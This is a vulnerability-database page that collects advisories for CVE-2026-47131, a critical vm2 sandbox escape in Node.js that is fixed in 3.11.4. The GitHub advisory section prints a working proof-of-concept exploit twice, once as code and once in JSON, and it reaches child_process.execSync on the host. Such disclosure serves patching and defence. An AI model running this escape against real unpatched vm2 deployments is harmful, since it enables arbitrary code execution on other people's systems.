Vulnerability-Lookup

CVE-2026-47131 (GCVE-0-2026-47131)

Vulnerability from cvelistv5 – Published: 2026-06-12 14:14 – Updated: 2026-06-13 03:55

Title

vm2: Sandbox Escape

Summary

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.

Severity

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-12 00:00 UTC

CWE

CWE-913 - Improper Control of Dynamically-Managed Code Resources

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/patriksimek/vm2/security/advis…	x_refsource_CONFIRM
https://github.com/patriksimek/vm2/commit/27c525f…	x_refsource_MISC
https://github.com/patriksimek/vm2/releases/tag/v3.11.4	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
patriksimek	vm2	Affected: < 3.11.4	guessed

Show details on NVD website

JSON

To clipboard

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                "id": "CVE-2026-47131",
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                "role": "CISA Coordinator",
                "timestamp": "2026-06-12T00:00:00+00:00",
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          }
        ],
        "id": "CVE-2026-47131",
        "lastModified": "2026-06-17T10:54:20.820",
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      "product_status:fixed": "3",
      "product_status:known_not_affected": "6",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "vm2: vm2: Arbitrary code execution via sandbox escape vulnerability",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-47131.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
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                    "id": "CVE-2026-47131",
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}

FKIE_CVE-2026-47131

Vulnerability from fkie_nvd - Published: 2026-06-12 15:16 - Updated: 2026-06-17 10:54

Severity

10.0 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8
	security-advisories@github.com	https://github.com/patriksimek/vm2/releases/tag/v3.11.4
	security-advisories@github.com	https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "vm2",
          "vendor": "patriksimek",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.11.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\"), Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\"), and Node.js\u0027s ERR_INVALID_ARG_TYPE Error, the host\u0027s TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4."
    }
  ],
  "id": "CVE-2026-47131",
  "lastModified": "2026-06-17T10:54:20.820",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 10.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
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          "options": [
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            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-12T00:00:00+00:00",
          "version": "2.0.3"
        }
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  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg"
    },
    {
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      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
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        {
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        }
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      "source": "security-advisories@github.com",
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}

GHSA-V6MX-MF47-R5WG

Vulnerability from github – Published: 2026-05-29 17:33 – Updated: 2026-06-12 20:49

Summary

vm2 has a Sandbox Escape issue

Details

Summary

By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.

PoC

"use strict";

const { VM } = require("vm2");
const vm = new VM();

vm.run(`
  "use strict";

  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

  async function f() {
    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      setProto.call(getProto.call(e), null);
    }

    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      const HostFunction = e.constructor.constructor;
      new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
    }
  }

  f();
`);

Impact

Sandbox Escape → RCE

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47131"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T17:33:58Z",
    "nvd_published_at": "2026-06-12T15:16:27Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nBy combining `Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\")`, `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")`, and Node.js\u0027s `ERR_INVALID_ARG_TYPE` Error, the host\u0027s `TypeError` constructor can be obtained, which allows the escape from the sandbox.\nThis allows attackers to run arbitrary code.\n\n### PoC\n```js\n\"use strict\";\n\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\nvm.run(`\n  \"use strict\";\n\n  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\");\n  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\n\n  async function f() {\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      setProto.call(getProto.call(e), null);\n    }\n\n    try {\n      await WebAssembly.compileStreaming();\n    } catch(e) {\n      const HostFunction = e.constructor.constructor;\n      new HostFunction(\"return process\")().mainModule.require(\"child_process\").execSync(\"echo pwned\", { stdio: \"inherit\" });\n    }\n  }\n\n  f();\n`);\n```\n\n### Impact\nSandbox Escape \u2192 RCE",
  "id": "GHSA-v6mx-mf47-r5wg",
  "modified": "2026-06-12T20:49:02Z",
  "published": "2026-05-29T17:33:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47131"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has a Sandbox Escape issue"
}

RHSA-2026:33574

Vulnerability from csaf_redhat - Published: 2026-06-30 15:00 - Updated: 2026-09-19 05:41

Summary

Red Hat Security Advisory: Red Hat Developer Hub 1.9.6 release.

Severity

Important

Scope

31 vulnerabilities in this advisory, including CVE-2026-47131.

CVE-2026-47131

A flaw was found in vm2, an open-source virtual machine (VM) sandbox for Node.js. A remote attacker can exploit this vulnerability by combining specific Buffer function calls and Node.js's ERR_INVALID_ARG_TYPE error. This allows the attacker to obtain the host's TypeError constructor, leading to an escape from the sandbox. Consequently, this enables attackers to run arbitrary code on the host system.

4.1 (Medium)


                
                  CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L

Fixed: 1 product Known not affected: 2 products

https://access.redhat.com/errata/RHSA-2026:33574

Open the full advisory

RHSA-2026:36754

Vulnerability from csaf_redhat - Published: 2026-07-08 13:07 - Updated: 2026-09-21 00:13

Summary

Red Hat Security Advisory: Red Hat Developer Hub 1.10.2 release.

Severity

Important

Scope

29 vulnerabilities in this advisory, including CVE-2026-47131.

CVE-2026-47131

4.1 (Medium)


                
                  CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L

Fixed: 1 product Known not affected: 4 products

https://access.redhat.com/errata/RHSA-2026:36754

Open the full advisory

RHSA-2026:50850

Vulnerability from csaf_redhat - Published: 2026-08-05 16:35 - Updated: 2026-09-16 18:15

Summary

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update

Severity

Important

Scope

25 vulnerabilities in this advisory, including CVE-2026-47131.

CVE-2026-47131

4.1 (Medium)


                
                  CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L

Fixed: 1 product

https://access.redhat.com/errata/RHSA-2026:50850

Open the full advisory

WID-SEC-W-2026-1583

Vulnerability from csaf_certbund - Published: 2026-05-18 22:00 - Updated: 2026-08-05 22:00

Summary

vm2: Mehrere Schwachstellen

Severity

Kritisch

Scope

9 vulnerabilities in this advisory, including CVE-2026-47131.

CVE-2026-47131

Known affected: 2 products

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-47131 (GCVE-0-2026-47131)

FKIE_CVE-2026-47131

GHSA-V6MX-MF47-R5WG

Summary

PoC

Impact

RHSA-2026:33574

RHSA-2026:36754

RHSA-2026:50850

WID-SEC-W-2026-1583

Tags

Sightings

Nomenclature

Related by attack behaviour